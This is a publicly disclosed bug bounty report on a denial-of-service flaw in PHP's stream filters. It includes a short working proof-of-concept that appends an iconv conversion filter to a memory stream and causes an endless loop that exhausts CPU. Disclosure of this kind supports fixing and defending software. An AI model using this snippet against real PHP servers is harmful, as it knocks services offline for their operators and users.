Internet Bug Bounty · Report #505278

DOS in stream filters

Validstatus

highseverity

44upvotes

12 Oct 2020disclosed

How it was found

see bug report https://bugs.php.net/bug.php?id=76249

as simple as

<?php $fh = fopen('php://memory', 'rw'); fwrite($fh, "abc"); rewind($fh); stream_filter_append($fh, 'convert.iconv.iso-10646/utf8//IGNORE', STREAM_FILTER_READ, []); echo stream_get_contents($fh); => one process running in an endless loop ## Impact DOS, process ends up in an endless loop, CPU (or available php processes or both) of affected system get easily exhausted

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original